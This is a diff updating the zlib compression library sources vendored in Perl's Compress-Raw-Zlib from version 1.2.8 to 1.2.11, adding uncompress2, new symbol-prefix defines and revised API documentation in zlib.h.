+ * Copyright (C) 1995-2003, 2010, 2014, 2016 Jean-loup Gailly, Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -9,51 +9,85 @@
 #include "zlib.h"
 
 /* ===========================================================================
-     Decompresses the source buffer into the destination buffer.  sourceLen is
-   the byte length of the source buffer. Upon entry, destLen is the total
-   size of the destination buffer, which must be large enough to hold the
-   entire uncompressed data. (The size of the uncompressed data must have
-   been saved previously by the compressor and transmitted to the decompressor
-   by some mechanism outside the scope of this compression library.)
-   Upon exit, destLen is the actual size of the compressed buffer.
+     Decompresses the source buffer into the destination buffer.  *sourceLen is
+   the byte length of the source buffer. Upon entry, *destLen is the total size
+   of the destination buffer, which must be large enough to hold the entire
+   uncompressed data. (The size of the uncompressed data must have been saved
+   previously by the compressor and transmitted to the decompressor by some
+   mechanism outside the scope of this compression library.) Upon exit,
+   *destLen is the size of the decompressed data and *sourceLen is the number
+   of source bytes consumed. Upon return, source + *sourceLen points to the
+   first unused input byte.
 
-     uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
-   enough memory, Z_BUF_ERROR if there was not enough room in the output
-   buffer, or Z_DATA_ERROR if the input data was corrupted.
+     uncompress returns Z_OK if success, Z_MEM_ERROR if there was not enough
+   memory, Z_BUF_ERROR if there was not enough room in the output buffer, or
+   Z_DATA_ERROR if the input data was corrupted, including if the input data is
+   an incomplete zlib stream.
 */
-int ZEXPORT uncompress (
+int ZEXPORT uncompress2 (
     Bytef *dest,
     uLongf *destLen,
     const Bytef *source,
-    uLong sourceLen)
+    uLong *sourceLen)
 {
     z_stream stream;
     int err;
+    const uInt max = (uInt)-1;
+    uLong len, left;
+    Byte buf[1];    /* for detection of incomplete stream when *destLen == 0 */
 
+    len = *sourceLen;
+    if (*destLen) {
+        left = *destLen;
+        *destLen = 0;
+    }
+    else {
+        left = 1;
+        dest = buf;
+    }
+
     stream.next_in = (z_const Bytef *)source;
-    stream.avail_in = (uInt)sourceLen;
-    /* Check for source > 64K on 16-bit machine: */
-    if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR;
-
-    stream.next_out = dest;
-    stream.avail_out = (uInt)*destLen;
-    if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR;
-
+    stream.avail_in = 0;
     stream.zalloc = (alloc_func)0;
     stream.zfree = (free_func)0;
+    stream.opaque = (voidpf)0;
 
     err = inflateInit(&stream);
     if (err != Z_OK) return err;
 
-    err = inflate(&stream, Z_FINISH);
-    if (err != Z_STREAM_END) {
-        inflateEnd(&stream);
-        if (err == Z_NEED_DICT || (err == Z_BUF_ERROR && stream.avail_in == 0))
-            return Z_DATA_ERROR;
-        return err;
-    }
-    *destLen = stream.total_out;
+    stream.next_out = dest;
+    stream.avail_out = 0;
 
-    err = inflateEnd(&stream);
-    return err;
+    do {
+        if (stream.avail_out == 0) {
+            stream.avail_out = left > (uLong)max ? max : (uInt)left;
+            left -= stream.avail_out;
+        }
+        if (stream.avail_in == 0) {
+            stream.avail_in = len > (uLong)max ? max : (uInt)len;
+            len -= stream.avail_in;
+        }
+        err = inflate(&stream, Z_NO_FLUSH);
+    } while (err == Z_OK);
+
+    *sourceLen -= len + stream.avail_in;
+    if (dest != buf)
+        *destLen = stream.total_out;
+    else if (stream.total_out && err == Z_BUF_ERROR)
+        left = 1;
+
+    inflateEnd(&stream);
+    return err == Z_STREAM_END ? Z_OK :
+           err == Z_NEED_DICT ? Z_DATA_ERROR  :
+           err == Z_BUF_ERROR && left + stream.avail_out ? Z_DATA_ERROR :
+           err;
 }
+
+int ZEXPORT uncompress (
+    Bytef *dest,
+    uLongf *destLen,
+    const Bytef *source,
+    uLong sourceLen)
+{
+    return uncompress2(dest, destLen, source, &sourceLen);
+}

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zconf.h
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zconf.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zconf.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 /* zconf.h -- configuration of the zlib compression library
- * Copyright (C) 1995-2013 Jean-loup Gailly.
+ * Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
@@ -17,7 +17,7 @@
 #ifdef Z_PREFIX     /* may be set to #if 1 by ./configure */
 #  define Z_PREFIX_SET
 
-/* all linked symbols */
+/* all linked symbols and init macros */
 #  define _dist_code            z__dist_code
 #  define _length_code          z__length_code
 #  define _tr_align             z__tr_align
@@ -29,6 +29,7 @@
 #  define adler32               z_adler32
 #  define adler32_combine       z_adler32_combine
 #  define adler32_combine64     z_adler32_combine64
+#  define adler32_z             z_adler32_z
 #  ifndef Z_SOLO
 #    define compress              z_compress
 #    define compress2             z_compress2
@@ -37,10 +38,14 @@
 #  define crc32                 z_crc32
 #  define crc32_combine         z_crc32_combine
 #  define crc32_combine64       z_crc32_combine64
+#  define crc32_z               z_crc32_z
 #  define deflate               z_deflate
 #  define deflateBound          z_deflateBound
 #  define deflateCopy           z_deflateCopy
 #  define deflateEnd            z_deflateEnd
+#  define deflateGetDictionary  z_deflateGetDictionary
+#  define deflateInit           z_deflateInit
+#  define deflateInit2          z_deflateInit2
 #  define deflateInit2_         z_deflateInit2_
 #  define deflateInit_          z_deflateInit_
 #  define deflateParams         z_deflateParams
@@ -67,6 +72,8 @@
 #    define gzeof                 z_gzeof
 #    define gzerror               z_gzerror
 #    define gzflush               z_gzflush
+#    define gzfread               z_gzfread
+#    define gzfwrite              z_gzfwrite
 #    define gzgetc                z_gzgetc
 #    define gzgetc_               z_gzgetc_
 #    define gzgets                z_gzgets
@@ -78,7 +85,6 @@
 #      define gzopen_w              z_gzopen_w
 #    endif
 #    define gzprintf              z_gzprintf
-#    define gzvprintf             z_gzvprintf
 #    define gzputc                z_gzputc
 #    define gzputs                z_gzputs
 #    define gzread                z_gzread
@@ -89,15 +95,21 @@
 #    define gztell                z_gztell
 #    define gztell64              z_gztell64
 #    define gzungetc              z_gzungetc
+#    define gzvprintf             z_gzvprintf
 #    define gzwrite               z_gzwrite
 #  endif
 #  define inflate               z_inflate
 #  define inflateBack           z_inflateBack
 #  define inflateBackEnd        z_inflateBackEnd
+#  define inflateBackInit       z_inflateBackInit
 #  define inflateBackInit_      z_inflateBackInit_
+#  define inflateCodesUsed      z_inflateCodesUsed
 #  define inflateCopy           z_inflateCopy
 #  define inflateEnd            z_inflateEnd
+#  define inflateGetDictionary  z_inflateGetDictionary
 #  define inflateGetHeader      z_inflateGetHeader
+#  define inflateInit           z_inflateInit
+#  define inflateInit2          z_inflateInit2
 #  define inflateInit2_         z_inflateInit2_
 #  define inflateInit_          z_inflateInit_
 #  define inflateMark           z_inflateMark
@@ -104,17 +116,18 @@
 #  define inflatePrime          z_inflatePrime
 #  define inflateReset          z_inflateReset
 #  define inflateReset2         z_inflateReset2
+#  define inflateResetKeep      z_inflateResetKeep
 #  define inflateSetDictionary  z_inflateSetDictionary
-#  define inflateGetDictionary  z_inflateGetDictionary
 #  define inflateSync           z_inflateSync
 #  define inflateSyncPoint      z_inflateSyncPoint
 #  define inflateUndermine      z_inflateUndermine
-#  define inflateResetKeep      z_inflateResetKeep
+#  define inflateValidate       z_inflateValidate
 #  define inflate_copyright     z_inflate_copyright
 #  define inflate_fast          z_inflate_fast
 #  define inflate_table         z_inflate_table
 #  ifndef Z_SOLO
 #    define uncompress            z_uncompress
+#    define uncompress2           z_uncompress2
 #  endif
 #  define zError                z_zError
 #  ifndef Z_SOLO
@@ -224,9 +237,19 @@
 #  define z_const
 #endif
 
-/* Some Mac compilers merge all .h files incorrectly: */
-#if defined(__MWERKS__)||defined(applec)||defined(THINK_C)||defined(__SC__)
-#  define NO_DUMMY_DECL
+#ifdef Z_SOLO
+   typedef unsigned long z_size_t;
+#else
+#  define z_longlong long long
+#  if defined(NO_SIZE_T)
+     typedef unsigned NO_SIZE_T z_size_t;
+#  elif defined(STDC)
+#    include <stddef.h>
+     typedef size_t z_size_t;
+#  else
+     typedef unsigned long z_size_t;
+#  endif
+#  undef z_longlong
 #endif
 
 /* Maximum value for memLevel in deflateInit2 */
@@ -256,7 +279,7 @@
  Of course this will generally degrade compression (there's no free lunch).
 
    The memory requirements for inflate are (in bytes) 1 << windowBits
- that is, 32K for windowBits=15 (default value) plus a few kilobytes
+ that is, 32K for windowBits=15 (default value) plus about 7 kilobytes
  for small objects.
 */
 

Modified: vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zlib.h
===================================================================
--- vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zlib.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zlib.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 /* zlib.h -- interface of the 'zlib' general purpose compression library
-  version 1.2.8, April 28th, 2013
+  version 1.2.11, January 15th, 2017
 
-  Copyright (C) 1995-2013 Jean-loup Gailly and Mark Adler
+  Copyright (C) 1995-2017 Jean-loup Gailly and Mark Adler
 
   This software is provided 'as-is', without any express or implied
   warranty.  In no event will the authors be held liable for any damages
@@ -37,11 +37,11 @@
 extern "C" {
 #endif
 
-#define ZLIB_VERSION "1.2.8"
-#define ZLIB_VERNUM 0x1280
+#define ZLIB_VERSION "1.2.11"
+#define ZLIB_VERNUM 0x12b0
 #define ZLIB_VER_MAJOR 1
 #define ZLIB_VER_MINOR 2
-#define ZLIB_VER_REVISION 8
+#define ZLIB_VER_REVISION 11
 #define ZLIB_VER_SUBREVISION 0
 
 /*
@@ -65,7 +65,8 @@
   with "gz".  The gzip format is different from the zlib format.  gzip is a
   gzip wrapper, documented in RFC 1952, wrapped around a deflate stream.
 
-    This library can optionally read and write gzip streams in memory as well.
+    This library can optionally read and write gzip and raw deflate streams in
+  memory as well.
 
     The zlib format was designed to be compact and fast for use in memory
   and on communications channels.  The gzip format was designed for single-
@@ -74,7 +75,7 @@
 
     The library does not install any signal handler.  The decoder checks
   the consistency of the compressed data, so the library should never crash
-  even in case of corrupted input.
+  even in the case of corrupted input.
 */
 
 typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
@@ -87,7 +88,7 @@
     uInt     avail_in;  /* number of bytes available at next_in */
     uLong    total_in;  /* total number of input bytes read so far */
 
-    Bytef    *next_out; /* next output byte should be put there */
+    Bytef    *next_out; /* next output byte will go here */
     uInt     avail_out; /* remaining free space at next_out */
     uLong    total_out; /* total number of bytes output so far */
 
@@ -98,8 +99,9 @@
     free_func  zfree;   /* used to free the internal state */
     voidpf     opaque;  /* private data object passed to zalloc and zfree */
 
-    int     data_type;  /* best guess about the data type: binary or text */
-    uLong   adler;      /* adler32 value of the uncompressed data */
+    int     data_type;  /* best guess about the data type: binary or text
+                           for deflate, or the decoding state for inflate */
+    uLong   adler;      /* Adler-32 or CRC-32 value of the uncompressed data */
     uLong   reserved;   /* reserved for future use */
 } z_stream;
 
@@ -142,7 +144,9 @@
 
      zalloc must return Z_NULL if there is not enough memory for the object.
    If zlib is used in a multi-threaded application, zalloc and zfree must be
-   thread safe.
+   thread safe.  In that case, zlib is thread-safe.  When zalloc and zfree are
+   Z_NULL on entry to the initialization function, they are set to internal
+   routines that use the standard library functions malloc() and free().
 
      On 16-bit systems, the functions zalloc and zfree must be able to allocate
    exactly 65536 bytes, but will not be required to allocate more than this if
@@ -155,7 +159,7 @@
 
      The fields total_in and total_out can be used for statistics or progress
    reports.  After compression, total_in holds the total size of the
-   uncompressed data and may be saved for use in the decompressor (particularly
+   uncompressed data and may be saved for use by the decompressor (particularly
    if the decompressor wants to decompress everything in a single step).
 */
 
@@ -200,7 +204,7 @@
 #define Z_TEXT     1
 #define Z_ASCII    Z_TEXT   /* for compatibility with 1.2.2 and earlier */
 #define Z_UNKNOWN  2
-/* Possible values of the data_type field (though see inflate()) */
+/* Possible values of the data_type field for deflate() */
 
 #define Z_DEFLATED   8
 /* The deflate compression method (the only one supported in this version) */
@@ -258,11 +262,11 @@
     enough room in the output buffer), next_in and avail_in are updated and
     processing will resume at this point for the next call of deflate().
 
-  - Provide more output starting at next_out and update next_out and avail_out
+  - Generate more output starting at next_out and update next_out and avail_out
     accordingly.  This action is forced if the parameter flush is non zero.
     Forcing flush frequently degrades the compression ratio, so this parameter
-    should be set only when necessary (in interactive applications).  Some
-    output may be provided even if flush is not set.
+    should be set only when necessary.  Some output may be provided even if
+    flush is zero.
 
     Before the call of deflate(), the application should ensure that at least
   one of the actions is possible, by providing more input and/or consuming more
@@ -271,7 +275,9 @@
   output when it wants, for example when the output buffer is full (avail_out
   == 0), or after each call of deflate().  If deflate returns Z_OK and with
   zero avail_out, it must be called again after making room in the output
-  buffer because there might be more output pending.
+  buffer because there might be more output pending. See deflatePending(),
+  which can be used if desired to determine whether or not there is more ouput
+  in that case.
 
     Normally the parameter flush is set to Z_NO_FLUSH, which allows deflate to
   decide how much data to accumulate before producing output, in order to
@@ -292,8 +298,8 @@
   input data so far will be available to the decompressor, as for Z_SYNC_FLUSH.
   This completes the current deflate block and follows it with an empty fixed
   codes block that is 10 bits long.  This assures that enough bytes are output
-  in order for the decompressor to finish the block before the empty fixed code
-  block.
+  in order for the decompressor to finish the block before the empty fixed
+  codes block.
 
     If flush is set to Z_BLOCK, a deflate block is completed and emitted, as
   for Z_SYNC_FLUSH, but the output is not aligned on a byte boundary, and up to
@@ -319,34 +325,38 @@
 
     If the parameter flush is set to Z_FINISH, pending input is processed,
   pending output is flushed and deflate returns with Z_STREAM_END if there was
-  enough output space; if deflate returns with Z_OK, this function must be
-  called again with Z_FINISH and more output space (updated avail_out) but no
-  more input data, until it returns with Z_STREAM_END or an error.  After
-  deflate has returned Z_STREAM_END, the only possible operations on the stream
-  are deflateReset or deflateEnd.
+  enough output space.  If deflate returns with Z_OK or Z_BUF_ERROR, this
+  function must be called again with Z_FINISH and more output space (updated
+  avail_out) but no more input data, until it returns with Z_STREAM_END or an
+  error.  After deflate has returned Z_STREAM_END, the only possible operations
+  on the stream are deflateReset or deflateEnd.
 
-    Z_FINISH can be used immediately after deflateInit if all the compression
-  is to be done in a single step.  In this case, avail_out must be at least the
-  value returned by deflateBound (see below).  Then deflate is guaranteed to
-  return Z_STREAM_END.  If not enough output space is provided, deflate will
-  not return Z_STREAM_END, and it must be called again as described above.
+    Z_FINISH can be used in the first deflate call after deflateInit if all the
+  compression is to be done in a single step.  In order to complete in one
+  call, avail_out must be at least the value returned by deflateBound (see
+  below).  Then deflate is guaranteed to return Z_STREAM_END.  If not enough
+  output space is provided, deflate will not return Z_STREAM_END, and it must
+  be called again as described above.
 
-    deflate() sets strm->adler to the adler32 checksum of all input read
-  so far (that is, total_in bytes).
+    deflate() sets strm->adler to the Adler-32 checksum of all input read
+  so far (that is, total_in bytes).  If a gzip stream is being generated, then
+  strm->adler will be the CRC-32 checksum of the input read so far.  (See
+  deflateInit2 below.)
 
     deflate() may update strm->data_type if it can make a good guess about
-  the input data type (Z_BINARY or Z_TEXT).  In doubt, the data is considered
-  binary.  This field is only for information purposes and does not affect the
-  compression algorithm in any manner.
+  the input data type (Z_BINARY or Z_TEXT).  If in doubt, the data is
+  considered binary.  This field is only for information purposes and does not
+  affect the compression algorithm in any manner.
 
     deflate() returns Z_OK if some progress has been made (more input
   processed or more output produced), Z_STREAM_END if all input has been
   consumed and all output has been produced (only when flush is set to
   Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
-  if next_in or next_out was Z_NULL), Z_BUF_ERROR if no progress is possible
-  (for example avail_in or avail_out was zero).  Note that Z_BUF_ERROR is not
-  fatal, and deflate() can be called again with more input and more output
-  space to continue compressing.
+  if next_in or next_out was Z_NULL or the state was inadvertently written over
+  by the application), or Z_BUF_ERROR if no progress is possible (for example
+  avail_in or avail_out was zero).  Note that Z_BUF_ERROR is not fatal, and
+  deflate() can be called again with more input and more output space to
+  continue compressing.
 */
 
 
@@ -369,23 +379,21 @@
 
      Initializes the internal stream state for decompression.  The fields
    next_in, avail_in, zalloc, zfree and opaque must be initialized before by
-   the caller.  If next_in is not Z_NULL and avail_in is large enough (the
-   exact value depends on the compression method), inflateInit determines the
-   compression method from the zlib header and allocates all data structures
-   accordingly; otherwise the allocation will be deferred to the first call of
-   inflate.  If zalloc and zfree are set to Z_NULL, inflateInit updates them to
-   use default allocation functions.
+   the caller.  In the current version of inflate, the provided input is not
+   read or consumed.  The allocation of a sliding window will be deferred to
+   the first call of inflate (if the decompression does not complete on the
+   first call).  If zalloc and zfree are set to Z_NULL, inflateInit updates
+   them to use default allocation functions.
 
      inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
    memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
    version assumed by the caller, or Z_STREAM_ERROR if the parameters are
    invalid, such as a null pointer to the structure.  msg is set to null if
-   there is no error message.  inflateInit does not perform any decompression
-   apart from possibly reading the zlib header if present: actual decompression
-   will be done by inflate().  (So next_in and avail_in may be modified, but
-   next_out and avail_out are unused and unchanged.) The current implementation
-   of inflateInit() does not process any header information -- that is deferred
-   until inflate() is called.
+   there is no error message.  inflateInit does not perform any decompression.
+   Actual decompression will be done by inflate().  So next_in, and avail_in,
+   next_out, and avail_out are unused and unchanged.  The current
+   implementation of inflateInit() does not process any header information --
+   that is deferred until inflate() is called.
 */
 
 
@@ -401,10 +409,11 @@
 
   - Decompress more input starting at next_in and update next_in and avail_in
     accordingly.  If not all input can be processed (because there is not
-    enough room in the output buffer), next_in is updated and processing will
-    resume at this point for the next call of inflate().
+    enough room in the output buffer), then next_in and avail_in are updated
+    accordingly, and processing will resume at this point for the next call of
+    inflate().
 
-  - Provide more output starting at next_out and update next_out and avail_out
+  - Generate more output starting at next_out and update next_out and avail_out
     accordingly.  inflate() provides as much output as possible, until there is
     no more input data or no more space in the output buffer (see below about
     the flush parameter).
@@ -411,7 +420,9 @@
 
     Before the call of inflate(), the application should ensure that at least
   one of the actions is possible, by providing more input and/or consuming more
-  output, and updating the next_* and avail_* values accordingly.  The
+  output, and updating the next_* and avail_* values accordingly.  If the
+  caller of inflate() does not provide both available input and available
+  output space, it is possible that there will be no progress made.  The
   application can consume the uncompressed output when it wants, for example
   when the output buffer is full (avail_out == 0), or after each call of
   inflate().  If inflate returns Z_OK and with zero avail_out, it must be
@@ -428,7 +439,7 @@
   gets to the end of that block, or when it runs out of data.
 
     The Z_BLOCK option assists in appending to or combining deflate streams.
-  Also to assist in this, on return inflate() will set strm->data_type to the
+  To assist in this, on return inflate() always sets strm->data_type to the
   number of unused bits in the last byte taken from strm->next_in, plus 64 if
   inflate() is currently decoding the last block in the deflate stream, plus
   128 if inflate() returned immediately after decoding an end-of-block code or
@@ -454,7 +465,7 @@
   this case all pending input is processed and all pending output is flushed;
   avail_out must be large enough to hold all of the uncompressed data for the
   operation to complete.  (The size of the uncompressed data may have been
-  saved by the compressor for this purpose.) The use of Z_FINISH is not
+  saved by the compressor for this purpose.)  The use of Z_FINISH is not
   required to perform an inflation in one step.  However it may be used to
   inform inflate that a faster approach can be used for the single inflate()
   call.  Z_FINISH also informs inflate to not maintain a sliding window if the
@@ -476,7 +487,7 @@
   chosen by the compressor and returns Z_NEED_DICT; otherwise it sets
   strm->adler to the Adler-32 checksum of all output produced so far (that is,
   total_out bytes) and returns Z_OK, Z_STREAM_END or an error code as described
-  below.  At the end of the stream, inflate() checks that its computed adler32
+  below.  At the end of the stream, inflate() checks that its computed Adler-32
   checksum is equal to that saved by the compressor and returns Z_STREAM_END
   only if the checksum is correct.
 
@@ -483,11 +494,10 @@
     inflate() can decompress and check either zlib-wrapped or gzip-wrapped
   deflate data.  The header type is detected automatically, if requested when
   initializing with inflateInit2().  Any information contained in the gzip
-  header is not retained, so applications that need that information should
-  instead use raw inflate, see inflateInit2() below, or inflateBack() and
-  perform their own processing of the gzip header and trailer.  When processing
+  header is not retained unless inflateGetHeader() is used.  When processing
   gzip-wrapped deflate data, strm->adler32 is set to the CRC-32 of the output
-  producted so far.  The CRC-32 is checked against the gzip trailer.
+  produced so far.  The CRC-32 is checked against the gzip trailer, as is the
+  uncompressed length, modulo 2^32.
 
     inflate() returns Z_OK if some progress has been made (more input processed
   or more output produced), Z_STREAM_END if the end of the compressed data has
@@ -494,14 +504,16 @@
   been reached and all uncompressed output has been produced, Z_NEED_DICT if a
   preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
   corrupted (input stream not conforming to the zlib format or incorrect check
-  value), Z_STREAM_ERROR if the stream structure was inconsistent (for example
-  next_in or next_out was Z_NULL), Z_MEM_ERROR if there was not enough memory,
-  Z_BUF_ERROR if no progress is possible or if there was not enough room in the
-  output buffer when Z_FINISH is used.  Note that Z_BUF_ERROR is not fatal, and
+  value, in which case strm->msg points to a string with a more specific
+  error), Z_STREAM_ERROR if the stream structure was inconsistent (for example
+  next_in or next_out was Z_NULL, or the state was inadvertently written over
+  by the application), Z_MEM_ERROR if there was not enough memory, Z_BUF_ERROR
+  if no progress was possible or if there was not enough room in the output
+  buffer when Z_FINISH is used.  Note that Z_BUF_ERROR is not fatal, and
   inflate() can be called again with more input and more output space to
   continue decompressing.  If Z_DATA_ERROR is returned, the application may
   then call inflateSync() to look for a good compression block if a partial
-  recovery of the data is desired.
+  recovery of the data is to be attempted.
 */
 
 
@@ -511,9 +523,8 @@
    This function discards any unprocessed input and does not flush any pending
    output.
 
-     inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
-   was inconsistent.  In the error case, msg may be set but then points to a
-   static string (which must not be deallocated).
+     inflateEnd returns Z_OK if success, or Z_STREAM_ERROR if the stream state
+   was inconsistent.
 */
 
 
@@ -544,17 +555,30 @@
    compression at the expense of memory usage.  The default value is 15 if
    deflateInit is used instead.
 
+     For the current implementation of deflate(), a windowBits value of 8 (a
+   window size of 256 bytes) is not supported.  As a result, a request for 8
+   will result in 9 (a 512-byte window).  In that case, providing 8 to
+   inflateInit2() will result in an error when the zlib header with 9 is
+   checked against the initialization of inflate().  The remedy is to not use 8
+   with deflateInit2() with this initialization, or at least in that case use 9
+   with inflateInit2().
+
      windowBits can also be -8..-15 for raw deflate.  In this case, -windowBits
    determines the window size.  deflate() will then generate raw deflate data
-   with no zlib header or trailer, and will not compute an adler32 check value.
+   with no zlib header or trailer, and will not compute a check value.
 
      windowBits can also be greater than 15 for optional gzip encoding.  Add
    16 to windowBits to write a simple gzip header and trailer around the
    compressed data instead of a zlib wrapper.  The gzip header will have no
    file name, no extra data, no comment, no modification time (set to zero), no
-   header crc, and the operating system will be set to 255 (unknown).  If a
-   gzip stream is being written, strm->adler is a crc32 instead of an adler32.
+   header crc, and the operating system will be set to the appropriate value,
+   if the operating system was determined at compile time.  If a gzip stream is
+   being written, strm->adler is a CRC-32 instead of an Adler-32.
 
+     For raw deflate or gzip encoding, a request for a 256-byte window is
+   rejected as invalid, since only the zlib header provides a means of
+   transmitting the window size to the decompressor.
+
      The memLevel parameter specifies how much memory should be allocated
    for the internal compression state.  memLevel=1 uses minimum memory but is
    slow and reduces compression ratio; memLevel=9 uses maximum memory for
@@ -614,12 +638,12 @@
    addition, the current implementation of deflate will use at most the window
    size minus 262 bytes of the provided dictionary.
 
-     Upon return of this function, strm->adler is set to the adler32 value
+     Upon return of this function, strm->adler is set to the Adler-32 value
    of the dictionary; the decompressor may later use this value to determine
-   which dictionary has been used by the compressor.  (The adler32 value
+   which dictionary has been used by the compressor.  (The Adler-32 value
    applies to the whole dictionary even if only a subset of the dictionary is
    actually used by the compressor.) If a raw deflate was requested, then the
-   adler32 value is not computed and strm->adler is not set.
+   Adler-32 value is not computed and strm->adler is not set.
 
      deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
    parameter is invalid (e.g.  dictionary being Z_NULL) or the stream state is
@@ -628,6 +652,28 @@
    not perform any compression: this will be done by deflate().
 */
 
+ZEXTERN int ZEXPORT deflateGetDictionary OF((z_streamp strm,
+                                             Bytef *dictionary,
+                                             uInt  *dictLength));
+/*
+     Returns the sliding dictionary being maintained by deflate.  dictLength is
+   set to the number of bytes in the dictionary, and that many bytes are copied
+   to dictionary.  dictionary must have enough space, where 32768 bytes is
+   always enough.  If deflateGetDictionary() is called with dictionary equal to
+   Z_NULL, then only the dictionary length is returned, and nothing is copied.
+   Similary, if dictLength is Z_NULL, then it is not set.
+
+     deflateGetDictionary() may return a length less than the window size, even
+   when more than the window size in input has been provided. It may return up
+   to 258 bytes less in that case, due to how zlib's implementation of deflate
+   manages the sliding window and lookahead for matches, where matches can be
+   up to 258 bytes long. If the application needs the last window-size bytes of
+   input, then that would need to be saved by the application outside of zlib.
+
+     deflateGetDictionary returns Z_OK on success, or Z_STREAM_ERROR if the
+   stream state is inconsistent.
+*/
+
 ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
                                     z_streamp source));
 /*
@@ -648,10 +694,10 @@
 
 ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
 /*
-     This function is equivalent to deflateEnd followed by deflateInit,
-   but does not free and reallocate all the internal compression state.  The
-   stream will keep the same compression level and any other attributes that
-   may have been set by deflateInit2.
+     This function is equivalent to deflateEnd followed by deflateInit, but
+   does not free and reallocate the internal compression state.  The stream
+   will leave the compression level and any other attributes that may have been
+   set unchanged.
 
      deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
    stream state was inconsistent (such as zalloc or state being Z_NULL).
@@ -662,20 +708,36 @@
                                       int strategy));
 /*
      Dynamically update the compression level and compression strategy.  The
-   interpretation of level and strategy is as in deflateInit2.  This can be
+   interpretation of level and strategy is as in deflateInit2().  This can be
    used to switch between compression and straight copy of the input data, or
    to switch to a different kind of input data requiring a different strategy.
-   If the compression level is changed, the input available so far is
-   compressed with the old level (and may be flushed); the new level will take
-   effect only at the next call of deflate().
+   If the compression approach (which is a function of the level) or the
+   strategy is changed, and if any input has been consumed in a previous
+   deflate() call, then the input available so far is compressed with the old
+   level and strategy using deflate(strm, Z_BLOCK).  There are three approaches
+   for the compression levels 0, 1..3, and 4..9 respectively.  The new level
+   and strategy will take effect at the next call of deflate().
 
-     Before the call of deflateParams, the stream state must be set as for
-   a call of deflate(), since the currently available input may have to be
-   compressed and flushed.  In particular, strm->avail_out must be non-zero.
+     If a deflate(strm, Z_BLOCK) is performed by deflateParams(), and it does
+   not have enough output space to complete, then the parameter change will not
+   take effect.  In this case, deflateParams() can be called again with the
+   same parameters and more output space to try again.
 
-     deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
-   stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR if
-   strm->avail_out was zero.
+     In order to assure a change in the parameters on the first try, the
+   deflate stream should be flushed using deflate() with Z_BLOCK or other flush
+   request until strm.avail_out is not zero, before calling deflateParams().
+   Then no more input data should be provided before the deflateParams() call.
+   If this is done, the old level and strategy will be applied to the data
+   compressed before deflateParams(), and the new level and strategy will be
+   applied to the the data compressed after deflateParams().
+
+     deflateParams returns Z_OK on success, Z_STREAM_ERROR if the source stream
+   state was inconsistent or if a parameter was invalid, or Z_BUF_ERROR if
+   there was not enough output space to complete the compression of the
+   available input data before a change in the strategy or approach.  Note that
+   in the case of a Z_BUF_ERROR, the parameters are not changed.  A return
+   value of Z_BUF_ERROR is not fatal, in which case deflateParams() can be
+   retried with more output space.
 */
 
 ZEXTERN int ZEXPORT deflateTune OF((z_streamp strm,
@@ -793,7 +855,7 @@
    is for use with other formats that use the deflate compressed data format
    such as zip.  Those formats provide their own check values.  If a custom
    format is developed using the raw deflate format for compressed data, it is
-   recommended that a check value such as an adler32 or a crc32 be applied to
+   recommended that a check value such as an Adler-32 or a CRC-32 be applied to
    the uncompressed data as is done in the zlib, gzip, and zip formats.  For
    most applications, the zlib format should be used as is.  Note that comments
    above on the use in deflateInit2() applies to the magnitude of windowBits.
@@ -802,7 +864,10 @@
    32 to windowBits to enable zlib and gzip decoding with automatic header
    detection, or add 16 to decode only the gzip format (the zlib format will
    return a Z_DATA_ERROR).  If a gzip stream is being decoded, strm->adler is a
-   crc32 instead of an adler32.
+   CRC-32 instead of an Adler-32.  Unlike the gunzip utility and gzread() (see
+   below), inflate() will not automatically decode concatenated gzip streams.
+   inflate() will return Z_STREAM_END at the end of the gzip stream.  The state
+   would need to be reset to continue decoding a subsequent gzip stream.
 
      inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
    memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
@@ -823,7 +888,7 @@
      Initializes the decompression dictionary from the given uncompressed byte
    sequence.  This function must be called immediately after a call of inflate,
    if that call returned Z_NEED_DICT.  The dictionary chosen by the compressor
-   can be determined from the adler32 value returned by that call of inflate.
+   can be determined from the Adler-32 value returned by that call of inflate.
    The compressor and decompressor must use exactly the same dictionary (see
    deflateSetDictionary).  For raw inflate, this function can be called at any
    time to set the dictionary.  If the provided dictionary is smaller than the
@@ -834,7 +899,7 @@
      inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
    parameter is invalid (e.g.  dictionary being Z_NULL) or the stream state is
    inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
-   expected one (incorrect adler32 value).  inflateSetDictionary does not
+   expected one (incorrect Adler-32 value).  inflateSetDictionary does not
    perform any decompression: this will be done by subsequent calls of
    inflate().
 */
@@ -892,7 +957,7 @@
 ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
 /*
      This function is equivalent to inflateEnd followed by inflateInit,
-   but does not free and reallocate all the internal decompression state.  The
+   but does not free and reallocate the internal decompression state.  The
